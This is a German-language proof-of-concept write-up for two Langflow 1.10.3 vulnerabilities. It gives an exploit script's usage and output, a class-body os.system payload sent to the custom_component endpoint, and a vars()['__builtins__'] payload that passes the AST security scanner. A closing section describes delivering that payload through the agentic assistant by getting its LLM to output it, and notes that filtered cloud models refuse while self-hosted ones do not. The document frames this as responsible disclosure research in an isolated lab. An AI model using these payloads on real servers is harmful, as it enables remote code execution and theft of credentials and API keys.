
PoC für CVE-2026-17633 — Authentifizierte RCE in IBM Langflow OSS 1.0.0–1.10.3 über den custom_component-Endpunkt. Enthält Forschung zum Bypass des AST-Scanners von CVE-2026-17632.
Nur für Bildungszwecke. Nur gegen Systeme verwenden, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Testgenehmigung haben.
Langflow ist eine Open-Source-Low-Code-Plattform zum Erstellen von LLM-gestützten Anwendungen und KI-Agenten-Workflows. Sie bietet eine visuelle Drag-and-Drop-Oberfläche, in der Benutzer Komponenten — Modelle, Retriever, Tools, Speicher, benutzerdefinierten Python-Code — zu ausführbaren Flows verbinden können. Die Funktion „Custom Component" ermöglicht es Benutzern, das Verhalten von Komponenten direkt in Python zu definieren, was die Angriffsfläche darstellt, die in dieser Untersuchung ausgenutzt wird.
Am 5. August 2026 veröffentlichte IBM ein Security Bulletin, das eine Reihe von Schwachstellen offenlegte, die Langflow OSS Versionen 1.0.0 bis 1.10.3 betreffen. Das vollständige Bulletin ist verfügbar unter:
Diese Untersuchung konzentriert sich auf zwei CVEs aus dieser Charge:
| CVE | CVSS | Zusammenfassung |
|---|
| CVE-2026-17633 | 8.5 HIGH | Authentifizierte RCE über /api/v1/custom_component — Code wird direkt an exec() übergeben, ohne Sicherheitsscan |
| CVE-2026-17632 | 8.8 HIGH | Umgehung des AST-Sicherheitsscanners — präparierter Python-Code passiert scan_code_security() mit is_safe: True und führt dabei beliebige OS-Befehle aus |
Beide CVEs wurden unabhängig durch statische Quellcodeanalyse von Langflow 1.10.3 entdeckt.
Diese Untersuchung wurde in einer isolierten Laborumgebung gegen eine selbst gehostete Langflow-Instanz durchgeführt. Alle Ergebnisse werden verantwortungsvoll offengelegt. Verwenden Sie dies nicht gegen Systeme ohne ausdrückliche schriftliche Genehmigung.
Der Endpunkt POST /api/v1/custom_component in Langflow OSS 1.0.0–1.10.3 akzeptiert beliebigen Python-Code von einem authentifizierten Benutzer und führt ihn serverseitig über die Python-Funktion exec() aus. Im Gegensatz zum Agentic-Assistant-Pfad ruft dieser Endpunkt nicht scan_code_security() oder einen anderen AST-basierten Inhaltsvalidator vor der Ausführung auf. Jeder authentifizierte Benutzer kann mit einer einzigen HTTP-Anfrage Remote Code Execution erreichen.
CWE-94 — Unsachgemäße Kontrolle der Codegenerierung
/api/v1/custom_componentQuelle: langflow/api/v1/endpoints.py — Zeile 1271
@router.post("/custom_component", status_code=HTTPStatus.OK, include_in_schema=False)
async def custom_component(
raw_code: CustomComponentRequest,
user: CurrentActiveUser,
request: Request,
) -> CustomComponentResponse:
...
# Only check: is allow_custom_components enabled?
if not settings.allow_custom_components and not code_hash_matches_any_template(raw_code.code, all_known):
raise HTTPException(status_code=status.HTTP_403_FORBIDDEN, ...)
# No call to scan_code_security() here
component = Component(_code=effective_code)
built_frontend_node, component_instance = build_custom_component_template(component, user_id=user.id)
Wenn LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true gesetzt ist (üblich in Produktionsbereitstellungen), gelangt der Code direkt zu build_custom_component_template() mit null Inhaltsprüfung.
prepare_global_scope() und ast.ExprDie Ausführungskette führt zu create_class() in lfx/custom/validate.py, das prepare_global_scope() aufruft, bevor die Klasse kompiliert und ausgeführt wird:
def prepare_global_scope(module):
exec_globals = globals().copy()
...
for node in module.body:
if isinstance(node, ast.Import | ast.ImportFrom):
imports.append(node)
elif isinstance(node, ast.ClassDef | ast.FunctionDef | ast.Assign | ast.AnnAssign):
definitions.append(node)
...
if definitions:
compiled_code = compile(combined_module, "<string>", "exec")
exec(compiled_code, exec_globals) # ← exec() happens here
Ein bloßer Funktionsaufruf auf Modulebene (z. B. os.system(...)) ist ein ast.Expr-Knoten — er wird nicht von der isinstance-Prüfung erfasst und stillschweigend verworfen. Code, der jedoch innerhalb des Klassenkörpers platziert wird, ist Teil des ClassDef-Knotens und wird vollständig ausgeführt, wenn die Klasse über exec() innerhalb von compile_class_code() definiert wird.
Dies ist die entscheidende Erkenntnis: Die Nutzlast muss sich innerhalb des Klassenkörpers befinden, nicht auf Modulebene.
# ❌ Module-level — ast.Expr — silently ignored by prepare_global_scope()
import os
os.system("id > /tmp/pwned.txt")
class PocComponent(Component):
...
# ✅ Class body — executed at class definition time via exec()
class PocComponent(Component):
os.system("id > /tmp/pwned.txt") # ← runs here
...
Authenticated attacker
│
▼
POST /api/v1/custom_component
{ "code": "<malicious Python class>" }
│
▼
build_custom_component_template()
│
▼
create_class() — lfx/custom/validate.py
│
▼
prepare_global_scope() → imports resolved
│
▼
compile_class_code() → exec(compiled_class, exec_globals)
│
▼
Class body executed at definition time
│
▼
RCE — uid=1000(user) gid=0(root) inside container
Kein LLM erforderlich. Keine Scanner-Umgehung nötig. Eine einzige HTTP-Anfrage.
| Anforderung | Wert |
|---|---|
| Host-Betriebssystem | Kali Linux (getestet) |
| Docker | CE 5.x + Compose-Plugin v2 |
| Langflow-Image | langflowai/langflow:1.10.3 |
| RAM | Mindestens 4 GB für den Container |
Erstellen Sie ein Verzeichnis für das Labor und speichern Sie Folgendes als docker-compose.yml:
services:
langflow:
image: langflowai/langflow:1.10.3
pull_policy: missing
restart: "no"
ports:
- "127.0.0.1:7860:7860"
environment:
- LANGFLOW_AUTO_LOGIN=false
- LANGFLOW_SUPERUSER=admin
- LANGFLOW_SUPERUSER_PASSWORD=Lab-Passw0rd!
- LANGFLOW_SECRET_KEY=change_this_to_something_random
- DO_NOT_TRACK=true
- LANGFLOW_CONFIG_DIR=/app/langflow
- LANGFLOW_ALLOW_CUSTOM_COMPONENTS=true
volumes:
- langflow-data:/app/langflow
volumes:
langflow-data:
Starten Sie das Labor:
docker compose up -d
# Wait ~30 seconds for Langflow to initialize
curl http://127.0.0.1:7860/health
# Expected: {"status":"ok"}
Melden Sie sich bei http://127.0.0.1:7860 mit den oben definierten Superuser-Anmeldedaten an. Das Zugriffstoken wird im Browser-Cookie access_token_lf gespeichert. Alternativ können Sie es über die API abrufen:
curl -s -X POST http://127.0.0.1:7860/api/v1/login \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=admin&password=Lab-Passw0rd!" | python3 -m json.tool
Kopieren Sie den Wert access_token aus der Antwort.
python3 exploit_CVE-2026-17633.py [-h] -t TARGET -k TOKEN [-c COMMAND] [--verbose] [--timeout TIMEOUT]
-t, --target TARGET Langflow base URL (e.g. http://127.0.0.1:7860)
-k, --token TOKEN Bearer token of the authenticated user
-c, --command COMMAND OS command to execute (default: id > /tmp/pwned.txt)
--verbose Print full payload and server response
--timeout TIMEOUT Request timeout in seconds (default: 30)
python3 exploit_CVE-2026-17633.py \
-t http://127.0.0.1:7860 \
-k <bearer_token> \
-c 'id > /tmp/pwned.txt'
Erwartete Ausgabe:
============================================================
PoC CVE-2026-17633 — Langflow Custom Component RCE
CVSS 8.5 HIGH — Authenticated RCE
IBM Langflow OSS 1.0.0 – 1.10.3
============================================================
[*] Health: {"status":"ok"}
[*] Target: http://127.0.0.1:7860/api/v1/custom_component
[*] Command: id > /tmp/pwned.txt
[*] Vector: class body exec() — no scanner
[*] HTTP Status: 200
============================================================
[+] VULNERABLE — CVE-2026-17633 CONFIRMED
============================================================
[+] Endpoint processed the component (200 OK)
[+] exec() triggered — command executed: id > /tmp/pwned.txt
[*] Verify the effect on the server:
docker exec <container_id> cat /tmp/pwned.txt
docker exec <container_id> cat /tmp/pwned.txt
Erwartete Ausgabe:
uid=1000(user) gid=0(root) groups=0(root)
Hinweis: Langflow 1.10.3 läuft im Container als
uid=1000(user), nicht als root. Innerhalb des Containers gehört der Benutzer jedoch zugid=0(root), und von dort aus ist laterale Bewegung zum Host oder zu verbundenen Diensten (LLM-Provider-API-Schlüssel, Datenbank-Anmeldedaten, Vektorstore-Token) das realistische Post-Exploitation-Szenario.
Bei der Analyse des Quellcodes von Langflow 1.10.3 zum Verständnis von CVE-2026-17633 wurde auch der Code-Pfad des Agentic Assistant untersucht. Dies führte zur Entdeckung von scan_code_security() in langflow/agentic/helpers/code_security.py — einem AST-basierten Sicherheitsscanner, der auf LLM-generierten Komponentencode angewendet wird, bevor dieser validate_component_runtime() erreicht.
Der Scanner ist ausgefeilt: Er verfolgt Import-Aliase, erkennt Wildcard-Importe, behandelt getattr()-Reflexion und blockiert eine umfassende Liste gefährlicher Aufrufe (os.system, subprocess, exec, eval, __import__ usw.).
Eine sorgfältige Analyse von DANGEROUS_CALLS ergab einen fehlenden Eintrag:
DANGEROUS_CALLS: dict[str, str] = {
"exec": "Use of exec() is forbidden in components",
"eval": "Use of eval() is forbidden in components",
"compile": "Use of compile() is forbidden in components",
"__import__": "Use of __import__() is forbidden in components",
"globals": "Use of globals() is forbidden in components",
"open": "Use of open() is forbidden in components",
"breakpoint": "Use of breakpoint() is forbidden in components",
# "vars" → NOT PRESENT ← gap identified here
}
vars() fehlt. Im exec()-Kontext von create_class() gibt vars() exec_globals zurück, das importlib enthält, das aus den Modul-Globals von validate.py geerbt wurde. Darüber hinaus ist ["__builtins__"] ein Subscript-Zugriff (ast.Subscript), kein Attributzugriff (ast.Attribute), sodass visit_Attribute() und DANGEROUS_DUNDER_ATTRS ihn niemals untersuchen.
is_safe: TrueDie folgende Nutzlast passiert scan_code_security() ohne Verstöße:
vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")
Direkt gegen den Scanner im Container verifiziert:
from langflow.agentic.helpers.code_security import scan_code_security
test_code = 'vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")'
result = scan_code_security(test_code)
print('is_safe:', result.is_safe)
print('violations:', result.violations)
Ausgabe:
is_safe: True
violations: ()
Die RCE-Ausführung wurde ebenfalls bestätigt, indem die Umgehung direkt in demselben exec()-Kontext ausgeführt wurde, den create_class() verwendet:
import importlib, sys, ast
exec_globals = globals().copy()
exec('vars()["__builtins__"].__import__("os").system("id > /tmp/pwned.txt")', exec_globals)
Ausgabe in /tmp/pwned.txt:
uid=1000(user) gid=0(root) groups=0(root)
CVE-2026-17632 wird über den Agentic-Assistant-Pfad ausgenutzt:
POST /api/v1/agentic/assist/stream
→ LLM generates Python component code
→ extract_component_code() extracts the ```python``` block
→ validate_component_code() — AST structural check → PASS
→ scan_code_security() — bypass via vars() → PASS (is_safe: True)
→ validate_component_runtime() — exec() without sandbox → RCE
Der Bereitstellungsmechanismus erfordert, dass das LLM die Umgehungsnutzlast wörtlich in seiner Antwort reproduziert. In der Praxis weigern sich cloud-gehostete LLMs mit Inhaltsfiltern (OpenAI, Anthropic, die meisten kostenlosen OpenRouter-Modelle), Nutzlasten auszugeben, die __import__, os.system oder ähnliche Muster enthalten, selbst wenn sie als Sicherheitsforschung oder Dokumentation deklariert werden.
Dies ist auch bei realer Ausnutzung eine realistische Einschränkung: Ein Angreifer, der eine Langflow-Instanz mit konfiguriertem Cloud-LLM-Provider angreift, würde auf denselben Inhaltsfilter stoßen. Die Schwachstelle ist vollständig ausnutzbar gegen Bereitstellungen mit selbst gehosteten Modellen (Ollama, vLLM, LM Studio) oder privaten feinabgestimmten Modellen ohne Sicherheitsausrichtung — die einen erheblichen Teil der Unternehmens-Langflow-Bereitstellungen ausmachen.
Die AST-Scanner-Umgehung (is_safe: True) und die exec()-RCE sind unabhängig bestätigt. Die End-to-End-Bereitstellungskette über LLM ist der offene Forschungspunkt für CVE-2026-17632.
Untersuchung durchgeführt an Langflow OSS 1.10.3 in einer isolierten Laborumgebung. IBM Security Bulletin: https://www.ibm.com/support/pages/node/7282646